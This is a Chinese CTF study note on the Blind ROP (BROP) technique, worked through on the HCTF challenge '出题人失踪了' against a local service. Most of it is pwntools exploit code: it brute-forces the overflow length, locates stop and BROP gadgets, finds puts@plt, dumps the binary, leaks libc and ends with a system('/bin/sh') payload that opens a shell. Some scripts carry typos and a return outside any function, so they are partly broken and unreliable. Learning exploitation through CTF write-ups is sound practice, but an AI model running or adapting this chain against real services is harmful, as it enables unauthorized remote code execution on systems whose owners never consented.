PWN-BROP笔记

BROP

BROP是在没有给出题目文件的情况下,只能通过尝试来确定栈的大小,以及其他函数啥的地址

攻击条件

程序必须存在溢出漏洞,以便攻击者可以控制程序流程

进程崩溃以后可以重启,而且重启之后的地址与先前的地址一样

基本思路

首先通过枚举,判断栈溢出长度,然后通过 Stack Reading 获取栈上的数据来获取canary以及ebp和返回地址

再找到足够多的 gadget 来控制输出函数的参数并进行调用,利用输出函数来dump出程序来找到更多的gadget

栈溢出

从 1 开始暴力枚举,直到程序崩溃

Stack Reading

通过按照字节爆破比枚举数值更快 每个字节最多有256种可能,所以在32位的情况下,我们最多需要爆破1024次,64位最多爆破2048次

找到canary的值

Blind ROP

调用write函数最方便的方法是系统调用号,然后syscall,然而syscall几乎不可能

所以可以使用libc_csu_init结尾的一段gadgets来实现,同时可以使用 plt 来获取write地址,在write的参数里面,rdx是用来限制输出长度的,一般不会为0,但是保险起见,可以同时设置一下,但是几乎没有 pop rdx 这样的指令

可以通过 strcmp 来实现,在执行 strcmp 的时候,rdx会被设置为字符串的长度,所以只要找到 strcmp 就可以实现控制rdx

接下来要做的就是:

1、找gadgets

2、找 plt 表,比如 write、strcmp

找gadget

为了能够找到 gadget,可以分为两步:

1、stop gadget,当执行这一段代码时,程序陷入无限循环,使攻击者一直保持连接状态,其根本目的在于告诉攻击者,其所测试的地址是一段gadget

2、识别gadget,这里为了方便介绍,定义栈上的三种地址:

  • Probe

探针,也就是我们想要探测的代码地址。一般来说,都是64位程序,可以直接从0x400000尝试,如果不成功,有可能程序开启了PIE保护,再不济,就可能是程序是32位了。。这里我还没有特别想明白,怎么可以快速确定远程的位数。

  • Stop

不会使得程序崩溃的stop gadget的地址。

  • Trap

可以导致程序崩溃的地址,直接写 p64(0) 就可以

通过不同顺序构造一串 payload 就可以达到找到识别正在执行的指令的效果

比如:probe + trap + stop + trap + trap… 可以找到一个 pop xxx;ret 这样的

probe + trap + trap + trap + trap + trap + trap + stop + trap + trap… 这样的就可以找到:

pop xxx; pop xxx; pop xxx; pop xxx; pop xxx; pop xxx; ret

ps. 在每个布局后面都放上 trap 是为了保证崩溃 probe 返回如果不是 stop 能够立即崩溃

当然,我们还是很难确定它弹的哪一个寄存器,但是,一下子连续弹 6 次的很大可能性就是 brop_gadgets

这里说的 brop_gadgets 就是之前 ret2csu 的那一部分 gadgets

同时找到的可能是一又个 stop_gadgets,可以把后面原本的 stop_gadgets 改一下,如果程序没崩溃那就是又找了一个 stop_gadgets

找某些 plt

找到了 brop_gadgets 以后,只需要根据功能,再去遍历地址,找到能够实现这个功能的地址就找到了这个函数的 plt

比如:

'A'*72 +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)

如果能过把 0x400000 的内容给输出来就可以找到 put@plt 了

HCTF 出题人失踪了
测试栈空间大小的脚本:
from pwn import *  i=1  while 1:      try:          p=remote("127.0.0.1",9999)          p.recvuntil("WelCome my friend,Do you know password?n")          p.send('a'*i)          data=p.recv()          p.close()          if not data.startwith('No password'):              return i-1          else:              return i+1      execpt EOFEror:          p.close()          return i-1  size=getsize()  print "size is [%s]"%size

用脚本跑出来是 72

再找一个能让程序不崩溃的地址(stop_gadgets):

from pwn import *  def getStopGadgets(length):      addr = 0x400000      while 1:          try:              sh = remote('127.0.0.1',9999)              payload = 'a'*length +p64(addr)              sh.recvuntil("password?n")              sh.sendline(payload)              output = sh.recvuntil("password?n")              sh.close()              print("one stop addr: 0x%x" % (addr))              if not output.startswith('WelCome'):                  sh.close()                  addr+=1              else:                  return addr          except Exception:              addr+=1              sh.close()  stop_gadgets = getStopGadgets(72)

stop_gadget 找了好多个,因为我是自己实验,有二进制文件,就看了一下反汇编,找到的 stop_gadget 地址要么是一个函数或者 plt 的地址,要么是一个 ret 的地址

尝试以后,感觉有两个: main 或者 _start 的地址比较正常,下面跑出来的是 _start 的

再去找 BROP_gadgets

from pwn import *  def get_brop_gadget(length, stop_gadget, addr):      try:          sh = remote('127.0.0.1', 9999)          sh.recvuntil('password?n')          payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10          sh.sendline(payload)          content = sh.recv()          sh.close()          print content          # stop gadget returns memory          if not content.startswith('WelCome'):              return False          return True      except Exception:          sh.close()          return False  def check_brop_gadget(length, addr):      try:          sh = remote('127.0.0.1', 9999)          sh.recvuntil('password?n')          payload = 'a' * length + p64(addr) + 'a' * 8 * 10          sh.sendline(payload)          content = sh.recv()          sh.close()          return False      except Exception:          sh.close()          return True  length = 72  stop_gadget = 0x4005c0  addr = 0x400000  while 1:      print hex(addr)      if get_brop_gadget(length, stop_gadget, addr):          print 'possible brop gadget: 0x%x' % addr          if check_brop_gadget(length, addr):              print 'success brop gadget: 0x%x' % addr              break      addr += 1

拿到 brop_gadgets

根据之前的:我们可以发现,从找到的 brop_gadget 其中 pop r15;ret 对应的字节码为41 5f c3。后两字节码 5f c3 对应的汇编即为 pop rdi;ret

所以,pop rdi;ret 的地址就是 brop_gadget + 9

通过这个 gadget 把 put 的 plt 给打出来

from pwn import *  ##length = getbufferflow_length()  length = 72  ##get_stop_addr(length)  stop_gadget = 0x4005c0  addr = 0x400740  def get_puts_addr(length, rdi_ret, stop_gadget):      addr = 0x400000      while 1:          print hex(addr)          sh = remote('127.0.0.1', 9999)          sh.recvuntil('password?n')          payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget)          sh.sendline(payload)          try:              content = sh.recv()              if content.startswith('x7fELF'):                  print 'find puts@plt addr: 0x%x' % addr                  return addr              sh.close()              addr += 1          except Exception:              sh.close()              addr += 1  brop_gadget=0x4007ba  rdi_ret=brop_gadget+9  get_puts_addr(72,rdi_ret,stop_gadget)

拿到了 put 的地址,就可以通过 很多次的 put 把想要的内容给 dump 出来

把程序 DUMP 下来:

from pwn import *  def dump(length, rdi_ret, puts_plt, leak_addr, stop_gadget):      sh = remote('127.0.0.1', 9999)      payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadget)      sh.recvuntil('password?n')      sh.sendline(payload)      try:          data = sh.recv()          sh.close()          try:              data = data[:data.index("nWelCome")]          except Exception:              data = data          if data == "":              data = 'x00'          return data      except Exception:          sh.close()          return None  ##length = getbufferflow_length()  length = 72  ##stop_gadget = get_stop_addr(length)  stop_gadget = 0x4005c0  ##brop_gadget = find_brop_gadget(length,stop_gadget)  brop_gadget = 0x4007ba  rdi_ret = brop_gadget + 9  ##puts_plt = get_puts_plt(length, rdi_ret, stop_gadget)  puts_plt = 0x400555  addr = 0x400000  result = ""  while addr < 0x401000:      print hex(addr)      data = dump(length, rdi_ret, puts_plt, addr, stop_gadget)      if data is None:          continue      else:          result += data      addr += len(data)  with open('code', 'wb') as f:      f.write(result)

把 dump 下来的文件用 IDA 的二进制模式打开

然后把基址改成 0x400000:

编辑 -> 段 -> 重新设置基址

设置为 0x400000

在 0x400555 处,摁下 c 识别成汇编格式,可以看到 jmp 的地址是:601018h

这样就得到了 put@got 地址,知道了这个地址,再用 libcsearch 去进行 ret2libc 就可以了

from pwn import *  from LibcSearhcer import *  ##length = getbufferflow_length()  length = 72  ##stop_gadget = get_stop_addr(length)  stop_gadget = 0x4006b6  ##brop_gadget = find_brop_gadget(length,stop_gadget)  brop_gadget = 0x4007ba  rdi_ret = brop_gadget + 9  ##puts_plt = get_puts_addr(length, rdi_ret, stop_gadget)  puts_plt = 0x400560  ##leakfunction(length, rdi_ret, puts_plt, stop_gadget)  puts_got = 0x601018  sh = remote('127.0.0.1', 9999)  sh.recvuntil('password?n')  payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget)  sh.sendline(payload)  data = sh.recvuntil('nWelCome', drop=True)  puts_addr = u64(data.ljust(8, 'x00'))  libc = LibcSearcher('puts', puts_addr)  libc_base = puts_addr - libc.dump('puts')  system_addr = libc_base + libc.dump('system')  binsh_addr = libc_base + libc.dump('str_bin_sh')  payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(stop_gadget)  sh.sendline(payload)  sh.interactive()